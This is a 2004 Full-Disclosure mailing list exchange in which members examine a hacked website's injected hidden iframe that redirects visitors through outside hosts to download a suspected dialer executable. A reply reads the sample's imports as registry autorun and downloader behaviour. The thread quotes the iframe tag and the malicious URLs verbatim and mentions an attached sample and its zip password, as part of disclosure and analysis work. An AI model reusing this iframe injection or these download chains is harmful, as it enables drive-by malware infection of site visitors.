KERNEL32.DLL 0000 LoadLibraryA 0000 GetProcAddress 0000 ExitProcess
advapi32.dll 0000 RegCloseKey oleaut32.dll 0000 SysFreeString shell32.dll 0000 ShellExecuteA user32.dll 0000 SetTimer all these exports show point in a direction that it creates a key in the registry for autoloading on reboot and executes a executable, possibly this is a downloader that downloads someother program from somewhere which i have not been able to find yet! -aditya -----Original Message----- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Daniel Bartlett Sent: Wednesday, August 18, 2004 12:17 AM To: Full Disclosure Subject: [Full-Disclosure] Possible dialer on 62.4.84.150 Hi All, I've only looked at this for about 3 mins, so there isn't a lot to tell. >From a website that looks like someone has hacked it and added a IFRAME to the top of the page: <iframe FRAMEBORDER="0" width="0" height="0" src="http://213.158.119.103/iframe.php?xid=111";></iframe> >From this frame it gets bounced onto: http://62.4.84.150/data/start.php?id=111-b&aid=0 then onto: http://62.4.84.150/data/start.php?id=111-download&aid=0 which then downloads a 17984b exe file. I've attached a strings output from the exe, and a copy of the exe(password for zip is lamedial). I hope someone else can shead more light on this than I can. Cheers, Daniel B. -- Daniel Bartlett [EMAIL PROTECTED] ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
